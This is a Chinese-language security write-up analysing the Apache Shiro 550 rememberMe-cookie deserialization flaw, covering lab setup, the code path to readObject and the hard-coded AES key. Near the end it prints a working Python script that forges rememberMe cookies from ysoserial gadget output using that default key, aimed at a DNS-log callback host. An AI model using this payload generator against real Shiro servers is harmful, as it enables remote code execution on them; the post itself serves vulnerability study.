首發自安全客:Java安全之Shiro 550反序列化漏洞分析html
在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,瞭解漏洞產生過程以及利用方式。java
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生緣由是由於shiro接受了Cookie裏面rememberMe
的值,而後去進行Base64解密後,再使用aes密鑰解密後的數據,進行反序列化。python
反過來思考一下,若是咱們構造該值爲一個cc鏈序列化後的值進行該密鑰aes加密後進行base64加密,那麼這時候就會去進行反序列化咱們的payload內容,這時候就能夠達到一個命令執行的效果。git
獲取rememberMe值 -> Base64解密 -> AES解密 -> 調用readobject反序列化操做
漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4github
打開shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl組件進來,後面再去說爲何shiro自帶了commons-collections:3.2.1
還要去手工配置一個commons-collections:4.0
。web
<properties> <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> </properties> ... <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 這裏須要將jstl設置爲1.2 --> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
Shiro的編譯太痛苦了,各類坑,下面來排一下坑。算法
配置maven\conf\toolchains.xml
,這裏須要指定JDK1.6的路徑和版本,編譯必需要1.6版本,但不影響在其餘版本下運行。express
<?xml version="1.0" encoding="UTF-8"?> <toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd"> <toolchain> <type>jdk</type> <provides> <version>1.6</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome> </configuration> </toolchain> </toolchains>
這些都完成後進行編譯。apache
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
這裏仍是報錯了。api
後面編譯的時候,切換成了maven3.1.1的版本。而後就能夠編譯成功了。
可是後面又發現部署的時候訪問不到,編譯確定又出了問題。
後面把這兩個裏面的<scope>
標籤給註釋掉,而後就能夠了。
把pom.xml配置貼一下。
<?xml version="1.0" encoding="UTF-8"?> <!-- ~ Licensed to the Apache Software Foundation (ASF) under one ~ or more contributor license agreements. See the NOTICE file ~ distributed with this work for additional information ~ regarding copyright ownership. The ASF licenses this file ~ to you under the Apache License, Version 2.0 (the ~ "License"); you may not use this file except in compliance ~ with the License. You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, ~ software distributed under the License is distributed on an ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY ~ KIND, either express or implied. See the License for the ~ specific language governing permissions and limitations ~ under the License. --> <!--suppress osmorcNonOsgiMavenDependency --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <properties> <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> </properties> <parent> <groupId>org.apache.shiro.samples</groupId> <artifactId>shiro-samples</artifactId> <version>1.2.4</version> <relativePath>../pom.xml</relativePath> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>samples-web</artifactId> <name>Apache Shiro :: Samples :: Web</name> <packaging>war</packaging> <build> <plugins> <plugin> <artifactId>maven-surefire-plugin</artifactId> <configuration> <forkMode>never</forkMode> </configuration> </plugin> <plugin> <groupId>org.mortbay.jetty</groupId> <artifactId>maven-jetty-plugin</artifactId> <version>${jetty.version}</version> <configuration> <contextPath>/</contextPath> <connectors> <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector"> <port>9080</port> <maxIdleTime>60000</maxIdleTime> </connector> </connectors> <requestLog implementation="org.mortbay.jetty.NCSARequestLog"> <filename>./target/yyyy_mm_dd.request.log</filename> <retainDays>90</retainDays> <append>true</append> <extended>false</extended> <logTimeZone>GMT</logTimeZone> </requestLog> </configuration> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <!-- <scope>provided</scope>--> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>net.sourceforge.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>2.6</version> <!-- <scope>test</scope>--> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jsp-2.1-jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 這裏須要將jstl設置爲1.2 --> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies> </project>
通過2天的排坑,終於把這個坑給解決掉,這裏必須貼幾張照片慶祝慶祝。
輸入帳號密碼,勾選Remerber me選項。進行抓包
下面就能夠來分析該漏洞了。
漏洞產生點在CookieRememberMeManager
該位置,來看到rememberSerializedIdentity
方法。
該方法的做用爲使用Base64對指定的序列化字節數組進行編碼,並將Base64編碼的字符串設置爲cookie值。
那麼咱們就去查看一下該方法在什麼地方被調用。
在這能夠看到該類繼承的AbstractRememberMeManager
類調用了該方法。跟進進去查看
發現這個方法被rememberIdentity
方法給調用了,一樣方式繼續跟進。
在這裏會發現rememberIdentity
方法會被onSuccessfulLogin
方法給調用,跟蹤到這一步,就看到了onSuccessfulLogin
登陸成功的方法。
當登陸成功後會調用AbstractRememberMeManager.onSuccessfulLogin
方法,該方法主要實現了生成加密的RememberMe Cookie
,而後將RememberMe Cookie
設置爲用戶的Cookie值。在前面咱們分析的rememberSerializedIdentity
方法裏面去實現了。能夠來看一下這段代碼。
回到onSuccessfulLogin
這個地方,打個斷點,而後web登陸頁面輸入root/secret 口令進行提交,再回到IDEA中查看。找到登陸成功方法後,咱們能夠來正向去作個分析,否則剛剛的方式比較麻煩。
這裏看到調用了isRememberMe
很顯而易見得發現這個就是一個判斷用戶是否選擇了Remember Me
選項。
若是選擇Remember Me
功能的話返回true,若是不選擇該選項則是調用log.debug方法在控制檯輸出一段字符。
這裏若是爲true的話就會調用rememberIdentity
方法而且傳入三個參數。F7跟進該方法。
前面說過該方法會去生成一個PrincipalCollection
對象,裏面包含登陸信息。F7進行跟進rememberIdentity
方法。
查看convertPrincipalsToBytes
具體的實現與做用。
跟進該方法查看具體實現。
看到這裏其實已經很清晰了,進行了一個序列化,而後返回序列化後的Byte數組。
再來看到下一段代碼,這裏若是getCipherService
方法不爲空的話,就會去執行下一段代碼。getCipherService
方法是獲取加密模式。
仍是繼續跟進查看。
查看調用,會發如今構造方法裏面對該值進行定義。
完成這一步後,就來到了這裏。
調用encrypt
方法,對序列化後的數據進行處理。繼續跟進。
這裏調用cipherService.encrypt
方法而且傳入序列化數據,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
從名字上來看是獲取密鑰的方法,查看一下,是怎麼獲取密鑰的。
查看調用的時候,發現setCipherKey
方法在構造方法裏面被調用了。
查看DEFAULT_CIPHER_KEY_BYTES
值會發現裏面定義了一串密鑰
而這個密鑰是定義死的。
返回剛剛的加密的地方。
這個地方選擇跟進,查看具體實現。
查看到這裏發現會傳入前面序列化的數組和key值,最後再去調用他的重載方法而且傳入序列化數組、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,進行跟進。
查看getDefaultSecureRandom
方法實現。
返回generateInitializationVector
方法繼續查看。這個new了一個byte數組長度爲16
最後獲得這個ivBytes值進行返回。
這裏執行完成後就拿到了ivBytes的值了,這裏再回到加密方法的地方查看具體加密的實現。
這裏調用crypt方法進行獲取到加密後的數據,而這個output是一個byte數組,大小是加密後數據的長度加上iv這個值的長度。
不瞭解加密算法的能夠看Java安全之安全加密算法
在執行完成後序列化的數據已經被進行了AES加密,返回一個byte數組。
執行完成後,來到這一步,而後進行跟進。
到了這裏其實就沒啥好說的了。後面的步驟就是進行base64加密後設置爲用戶的Cookie的rememberMe字段中。
因爲咱們並不知道哪一個方法裏面去實現這麼一個功能。可是咱們前面分析加密的時候,調用了AbstractRememberMeManager.encrypt
進行加密,該類中也有對應的解密操做。那麼在這裏就能夠來查看該方法具體會在哪裏被調用到,就能夠追溯到上層去,而後進行下斷點。
查看 getRememberedPrincipals
方法在此處下斷點
跟蹤
返回getRememberedPrincipals
方法。
在下面調用了convertBytesToPrincipals
方法,進行跟蹤。
查看decrypt
方法具體實現。
和前面的加密步驟相似,這裏不作詳細講解。
生成iv值,而後傳入到他的重載方法裏面。
到了這裏執行完後,就進行了AES的解密完成。
仍是回到這一步。
這裏返回了deserialize
方法的返回值,而且傳入AES加密後的數據。
進行跟蹤該方法。
繼續跟蹤。
到了這步,就會對咱們傳入進來的AES解密後的數據進行調用readObject
方法進行反序列化操做。
如今已經知道了是由於獲取rememberMe值,而後進行解密後再進行反序列化操做。
那麼在這裏若是拿到了密鑰就能夠僞造加密流程。
網上找的一個加密的腳本
# -*-* coding:utf-8 # @Time : 2020/10/16 17:36 # @Author : nice0e3 # @FileName: poc.py # @Software: PyCharm # @Blog :https://www.cnblogs.com/nice0e3/ import base64 import uuid import subprocess from Crypto.Cipher import AES def rememberme(command): # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE) # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': # payload = encode_rememberme('127.0.0.1:12345') # payload = rememberme('calc.exe') payload = rememberme('http://u89cy6.dnslog.cn') with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode())) res = "rememberMe={}".format(payload.decode()) fpw.write(res)
獲取到值後加密後的payload後能夠在burp上面進行手工發送測試一下。
發送完成後,就能夠看到DNSLOG平臺上面回顯了。
當使用URLDNS鏈的打過去,在DNSLOG平臺有回顯的時候,就說明這個地方存在反序列化漏洞。
可是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。
前面咱們手動給shio配上cc4的組件,而shiro中自帶的是cc3.2.1版本的組件,爲何要手工去配置呢?
其實shiro中重寫了ObjectInputStream
類的resolveClass
函數,ObjectInputStream
的resolveClass
方法用的是Class.forName
類獲取當前描述器所指代的類的Class對象。而重寫後的resolveClass
方法,採用的是ClassUtils.forName
。查看該方法
public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..."); } clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..."); } clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } else { return clazz; } }
在傳參的地方若是傳入一個Transform
數組的參數,會報錯。
後者並不支持傳入數組類型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持裝載數組類型的class
那麼在這裏可使用cc2和cc4的利用鏈去進行命令執行,由於這兩個都是基於javassist去實現的,而不是基於Transform
數組。具體的能夠看前面個人分析利用鏈文章。
除了這兩個其實在部署的時候,能夠發現組件當中自帶了一個CommonsBeanutils的組件,這個組件也是有利用鏈的。可使用CommonsBeanutils這條利用鏈進行命令執行。
那麼除了這些方式就沒有了嘛?假設沒有cc4的組件,就必定執行不了命令了嘛?其實方式仍是有的。wh1t3p1g師傅在文章中已經給出瞭解決方案。須要從新去特殊構造一下利用鏈。
https://www.anquanke.com/post/id/192619#h2-4 https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
在該漏洞中我以爲主要的難點在於環境搭建上費了很多時間,還有的就是關於shiro中大部分利用鏈無法使用的解決。